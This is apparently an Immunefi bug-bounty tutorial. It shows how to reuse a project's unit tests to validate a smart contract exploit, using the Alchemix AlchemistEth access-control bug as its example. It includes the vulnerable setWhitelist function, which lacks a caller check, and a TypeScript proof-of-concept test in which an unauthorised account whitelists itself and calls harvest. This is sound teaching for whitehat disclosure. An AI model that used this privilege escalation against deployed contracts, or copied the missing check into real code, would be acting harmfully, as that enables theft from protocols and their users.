Open in app

Sign in

Write

Sign in

A Step-by-Step Guide for Reusing Development Test Code to Validate Smart Contract Exploits

Immunefi
Immunefi
Published in
9 min readOct 4, 2021

This step-by-step guide, written by whitehat Lucash-dev for Immunefi will help you use developmental test code to validate smart contract exploits. It will help you set up a local tooling environment, reproduce the Alchemix Access Control Bug exploit, and get you up to speed, so you can start claiming the world’s largest bounties at Immunefi.

In a previous tutorial, Lucash-dev used HardHat to reproduce attacks by forking the Ethereum mainnet and executing transactions locally.

Here, an alternative approach is outlined — using the project’s code base and test frameworks for trying exploits, written as unit tests.

This method has a few advantages:

  • Sometimes contracts are deployed, but there isn’t solid info on finding them. Using the development team’s code base makes things easier because you don’t have to interact with deployed contracts.
  • You can easily test contracts that are in scope for the bounties but haven’t been deployed yet. Forking the mainnet wouldn’t help you here.
  • Sometimes project code bases already have tons of tests and scenarios ready. You just need to tweak a few lines of a unit test to test an exploit.
  • Project development teams are familiar with their unit tests. A new unit test using the same practices is easier for them to validate than a stand-alone PoC (proof of concept).

The method also has some limiting factors:

  • Sometimes the project’s code base doesn’t have good build instructions, making the exploit hard to reproduce.
  • Unit tests do not always correspond exactly with how deployed contracts work (i.e. different configurations). An exploit that works perfectly in a unit test might be impossible to perform on mainnet — resulting in no bounty claim.

Being able to quickly modify an existing test and check if an exploit works is a valuable asset to have in your toolkit.

The Setup

What you’ll need:

You should also be familiar with the basics of blockchain, Ethereum, smart contracts, and Solidity, and have a basic understanding of TypeScript/Javascript.

If not or if you need a refresher, this is a good place to start.

1️⃣ First step is to clone Alchemix’s git repository:

git clone https://github.com/alchemix-finance/alchemix-protocol.git

Check that you have the right version of the code. You want the version before the bug was fixed.

cd alchemix-protocolgit checkout 0261dd5a23c63aaa354d56f506701a6fa79cfe1f

You’ll also actually need to implement a small hack before the actual hacking begins. You’ll need to copy a missing file from the latest version of the code. See below 👇

git checkout master — contracts/interfaces/IWETH9.sol

2️⃣ Next step is to test to make sure you have everything you need to rebuild the code base and also run all automated tests.

Here you’ll need to use Yarn:

yarn compileyarn test

You should see a lot of green lines showing that all tests were executed successfully. That means you have everything you need.

You’re ready to start.

Understanding the Bug

The Alchemix access control bug is fairly straightforward — any novice bug hunter would have been able to find it.

The AlchemistEth contract has two functions. It’s restricted only to whitelisted callers:

    function harvest(uint256 _vaultId) external expectInitialized onlyWhitelist returns (uint256, uint256) {    …   }   function flush() external nonReentrant expectInitialized          onlyWhitelist returns (uint256) {   …   }

The onlyWhitelist modifier will revert the transaction unless msg.sender is in a whitelist.

There’s also a function for setting an address as whitelisted:

    function setWhitelist(address[] calldata accounts, bool[] calldata flags) external {
    uint256 numAccounts = accounts.length;
    for (uint256 i = 0; i < numAccounts; i++) {
     whitelist[accounts[i]] = flags[i];
    }
    emit WhitelistSet(accounts, flags);
    }

If you pay close attention to the above, you’ll notice that there’s no validation of msg.sender.

That means anyone can call setWhitelist and add new whitelisted users to call harvest and flush.

Testing

The bug can easily be identified simply by inspecting the code. But sometimes the most obvious attacks don’t work because of something you missed — i.e. a check in a different function called by the one you’re attacking. And projects usually require a working PoC to even consider a bounty payment.

So, let’s test if the attack works.

The code base cloned above has several unit test files (test/contracts/*.spec.ts)

written in TypeScript.

There is no test file for the contract you’re trying to exploit (AlchemistEth). But there are unit tests for a very similar contract Alchemist. You can find those unit tests at test/contracts/Alchemist.spec.ts.

If you compare the contracts Alchemist.sol and AlchemistEth.sol, you can see that both are similar. They have almost the same external/public methods and implement the same concept. If you run a diff between the two files, you’ll see most lines are exactly the same.

The main difference is that AlchemistEth allows for some ETH-specific functionality.

Can you use the Alchemist unit tests to test AlchemistEth?

Let’s find out. Let’s replace the contract being tested in Alchemist.spec.ts

and see what happens.

The line that configures what contract will be deployed to test looks like this:

AlchemistFactory = await ethers.getContractFactory(“Alchemist”);

Let’s change it to:

AlchemistFactory = await ethers.getContractFactory(“AlchemistEth”);

And run yarn test.

The results will show that many tests failed — but some also passed.

Maybe the contracts are similar enough that the code can be reused to set up the contract for the tests.

Copy the code we need and create a new file — AlchemistEth.spec.ts

with the setup code we need and create a test case.

Because harvest and flush are actions performed on the vault, it’s possible to use the “vault actions” section setup.

Copy all the global set up code (“before” block) and the set up for the “vault actions” (“beforeEach” block):

import chai from “chai”;
import chaiSubset from “chai-subset”;
import { solidity } from “ethereum-waffle”;
import { ethers } from “hardhat”;
import { BigNumber, BigNumberish, ContractFactory, Signer, utils } from “ethers”;
import { Transmuter } from “../../types/Transmuter”;
import { Alchemist } from “../../types/Alchemist”;
import { StakingPools } from “../../types/StakingPools”;
import { AlToken } from “../../types/AlToken”;
import { Erc20Mock } from “../../types/Erc20Mock”;
import { MAXIMUM_U256, ZERO_ADDRESS } from “../utils/helpers”;
import { VaultAdapterMock } from “../../types/VaultAdapterMock”;
import { YearnVaultAdapter } from “../../types/YearnVaultAdapter”;
import { YearnVaultMock } from “../../types/YearnVaultMock”;
import { YearnControllerMock } from “../../types/YearnControllerMock”;
import { min } from “moment”;
const {parseEther, formatEther} = utils;chai.use(solidity);
chai.use(chaiSubset);const { expect } = chai;let AlchemistFactory: ContractFactory;
let AlUSDFactory: ContractFactory;
let ERC20MockFactory: ContractFactory;
let VaultAdapterMockFactory: ContractFactory;
let TransmuterFactory: ContractFactory;
let YearnVaultAdapterFactory: ContractFactory;
let YearnVaultMockFactory: ContractFactory;
let YearnControllerMockFactory: ContractFactory;describe(“Alchemist”, () => {
  let signers: Signer[];  before(async () => {
   // We change the test from using “Alchemist” to using   “AlchemistEth”  AlchemistFactory = await ethers.getContractFactory(“AlchemistEth”);
  TransmuterFactory = await ethers.getContractFactory(“Transmuter”);
  AlUSDFactory = await ethers.getContractFactory(“AlToken”);
  ERC20MockFactory = await ethers.getContractFactory(“ERC20Mock”);
  VaultAdapterMockFactory = await ethers.getContractFactory(
   “VaultAdapterMock”
  );
   YearnVaultAdapterFactory = await ethers.getContractFactory(“YearnVaultAdapter”);
   YearnVaultMockFactory = await ethers.getContractFactory(“YearnVaultMock”);
   YearnControllerMockFactory = await ethers.getContractFactory(“YearnControllerMock”);
});beforeEach(async () => {
  signers = await ethers.getSigners();
});describe(“vault actions”, () => {
  let deployer: Signer;
  let governance: Signer;
  let sentinel: Signer;
  let rewards: Signer;
  let transmuter: Signer;
  let minter: Signer;
  let user: Signer;
  let token: Erc20Mock;
  let alUsd: AlToken;
  let alchemist: Alchemist;
  let adapter: VaultAdapterMock;
  let harvestFee = 1000;
  let pctReso = 10000;
  let transmuterContract: Transmuter;  beforeEach(async () => {
   [
    deployer,
    governance,
    sentinel,
    rewards,
    transmuter,
    minter,
    user,
    …signers
] = signers;token = (await ERC20MockFactory.connect(deployer).deploy(
  “Mock DAI”,
  “DAI”,
  18
)) as Erc20Mock;alUsd = (await AlUSDFactory.connect(deployer).deploy()) as AlToken;alchemist = (await AlchemistFactory.connect(deployer).deploy(
  token.address,
  alUsd.address,
  await governance.getAddress(),
  await sentinel.getAddress()
)) as Alchemist;await alchemist
  .connect(governance)
  .setTransmuter(await transmuter.getAddress());
await alchemist
  .connect(governance)
  .setRewards(await rewards.getAddress());
await alchemist.connect(governance).setHarvestFee(harvestFee);
transmuterContract = (await TransmuterFactory.connect(deployer).deploy(
  alUsd.address,
  token.address,
  await governance.getAddress()
)) as Transmuter;
await alchemist.connect(governance).setTransmuter(transmuterContract.address);
  await transmuterContract.connect(governance).setWhitelist(alchemist.address, true);
  await token.mint(await minter.getAddress(), parseEther(“10000”));
  await token.connect(minter).approve(alchemist.address, parseEther(“10000”));    });// Our tests will go here  });});

Here the code was just copied. The only change is for using AlchemistEth instead of Alchemist.

And if you run yarn test test/contracts/AlchemistEth.spec.ts, you’ll see a success message with 0 tests passing.

Now add a unit test for our attack scenario:

describe(“set whitelist”, () => {
  context(“when caller is not current governance”, () => {
   beforeEach(() => (alchemist = alchemist.connect(deployer)));   it(“still works!”, async () => {    // let’s try calling harvest
    // it should revert bc only white-listed addresses are allowed to
    // call this method.
    expect(alchemist.harvest(0)).revertedWith(
     “Alchemist: only whitelist.”
    );    // we use “setWhitelist” to add the attacker as whitelisted
    // this should only be possible for governance, but the bug
    // allows anyone to call this method!!!
    await alchemist.setWhitelist([await deployer.getAddress()], [true]);    // now we can harvest without throwing an exception!
    // that means the attack worked!
    await alchemist.harvest(0);    });  });});

However, running the test now displays a message saying “Alchemist: not initialized”.

That’s because the setup code didn’t call initialize.

Searching the original test code shows a snippet that calls initialize:

adapter = (await VaultAdapterMockFactory.connect(deployer).deploy(
  token.address
)) as VaultAdapterMock;await alchemist.connect(governance).initialize(adapter.address);

Add this to the new unit test file. The final code should look like this:

import chai from “chai”;
import chaiSubset from “chai-subset”;
import { solidity } from “ethereum-waffle”;
import { ethers } from “hardhat”;
import { BigNumber, BigNumberish, ContractFactory, Signer, utils } from “ethers”;
import { Transmuter } from “../../types/Transmuter”;
import { Alchemist } from “../../types/Alchemist”;
import { StakingPools } from “../../types/StakingPools”;
import { AlToken } from “../../types/AlToken”;
import { Erc20Mock } from “../../types/Erc20Mock”;
import { MAXIMUM_U256, ZERO_ADDRESS } from “../utils/helpers”;
import { VaultAdapterMock } from “../../types/VaultAdapterMock”;
import { YearnVaultAdapter } from “../../types/YearnVaultAdapter”;
import { YearnVaultMock } from “../../types/YearnVaultMock”;
import { YearnControllerMock } from “../../types/YearnControllerMock”;
import { min } from “moment”;
const {parseEther, formatEther} = utils;chai.use(solidity);
chai.use(chaiSubset);const { expect } = chai;let AlchemistFactory: ContractFactory;
let AlUSDFactory: ContractFactory;
let ERC20MockFactory: ContractFactory;
let VaultAdapterMockFactory: ContractFactory;
let TransmuterFactory: ContractFactory;
let YearnVaultAdapterFactory: ContractFactory;
let YearnVaultMockFactory: ContractFactory;
let YearnControllerMockFactory: ContractFactory;describe(“Alchemist”, () => {
  let signers: Signer[];  before(async () => {
   // We change the test from using “Alchemist” to using “AlchemistEth”
  AlchemistFactory = await ethers.getContractFactory(“AlchemistEth”);
  TransmuterFactory = await ethers.getContractFactory(“Transmuter”);
  AlUSDFactory = await ethers.getContractFactory(“AlToken”);
  ERC20MockFactory = await ethers.getContractFactory(“ERC20Mock”);
  VaultAdapterMockFactory = await ethers.getContractFactory(
   “VaultAdapterMock”
  );
   YearnVaultAdapterFactory = await ethers.getContractFactory(“YearnVaultAdapter”);
   YearnVaultMockFactory = await ethers.getContractFactory(“YearnVaultMock”);
   YearnControllerMockFactory = await ethers.getContractFactory(“YearnControllerMock”);
  });  beforeEach(async () => {
    signers = await ethers.getSigners();
  });   describe(“vault actions”, () => {
     let deployer: Signer;
     let governance: Signer;
     let sentinel: Signer;
     let rewards: Signer;
     let transmuter: Signer;
     let minter: Signer;
     let user: Signer;
     let token: Erc20Mock;
     let alUsd: AlToken;
     let alchemist: Alchemist;
     let adapter: VaultAdapterMock;
     let harvestFee = 1000;
     let pctReso = 10000;
     let transmuterContract: Transmuter;     beforeEach(async () => {      [
       deployer,
       governance,
       sentinel,
       rewards,
       transmuter,
       minter,
       user,
       …signers
      ] = signers;      token = (await ERC20MockFactory.connect(deployer).deploy(
       “Mock DAI”,
       “DAI”,
       18
  )) as Erc20Mock;     alUsd = (await AlUSDFactory.connect(deployer).deploy()) as AlToken;     alchemist = (await AlchemistFactory.connect(deployer).deploy(
      token.address,
      alUsd.address,
      await governance.getAddress(),
      await sentinel.getAddress()
     )) as Alchemist;     await alchemist
       .connect(governance)
       .setTransmuter(await transmuter.getAddress());
     await alchemist
       .connect(governance)
       .setRewards(await rewards.getAddress());
     await alchemist.connect(governance).setHarvestFee(harvestFee);
     transmuterContract = (await TransmuterFactory.connect(deployer).deploy(
       alUsd.address,
       token.address,
       await governance.getAddress()
     )) as Transmuter;
     await alchemist.connect(governance).setTransmuter(transmuterContract.address);
     await transmuterContract.connect(governance).setWhitelist(alchemist.address, true);
     await token.mint(await minter.getAddress(), parseEther(“10000”));
     await token.connect(minter).approve(alchemist.address, parseEther(“10000”));     // When I tried to call “harvest” without calling “initialize” on the contract
     // first, the tx reverted. So we need to give the AlchemistEth contract an adapter
     // Fortunately, the code base already has a mock VaultAdapterMock contract
     // to be used in tests. So we just use the corresponding factory
     // to create a mock adapter…     adapter = (await VaultAdapterMockFactory.connect(deployer).deploy(
       token.address
     )) as VaultAdapterMock;     // then pass the new mock to “initialize”
     await alchemist.connect(governance).initialize(adapter.address);});describe(“set whitelist”, () => {
   context(“when caller is not current governance”, () => {
     beforeEach(() => (alchemist = alchemist.connect(deployer)));     it(“still works!”, async () => {      // let’s try calling harvest
      // it should revert bc only white-listed addresses are allowed to
      // call this method.
      expect(alchemist.harvest(0)).revertedWith(
       “Alchemist: only whitelist.”
      );      // we use “setWhitelist” to add the attacker as whitelisted
      // this should only be possible for governance, but the bug
      // allows anyone to call this method!!!
      await alchemist.setWhitelist([await deployer.getAddress()], [true]);      // now we can harvest without throwing an exception!
      // that means the attack worked!
      await alchemist.harvest(0);      });     });    });   });});

Run this new code now with yarn test.

It works!

Note how little new code was actually written — most of the work was already done. It just needed to be copied and modified.

Final Thoughts

Using the existing code base and reusing their unit test framework to validate exploits is a useful tool for bug hunting smart contracts.

This technique saves a lot of time!

The bug highlighted in this tutorial could’ve been identified, tested, and reported within a couple hours.

Hopefully, you’ve learned a new skill and it helps you find more bugs.

🔒 For more guides on how to secure smart contracts, analysis of past hacks, and information on the latest bounties, make sure you follow us on Twitter or join our whitehat Discord community.

P.S. Hackers subscribed to our newsletter are 35.8% more likely to earn a bug bounty. Click here to sign up.

Ethereum
Smart Contracts
Blockchain
Bug Bounty

--

--

Immunefi
Immunefi

Written by Immunefi

4.7K Followers
Editor for

Immunefi is the premier bug bounty platform for smart contracts, where hackers review code, disclose vulnerabilities, get paid, and make crypto safer.

Help

Status

About

Careers

Press

Blog

Privacy

Terms

Text to speech

Teams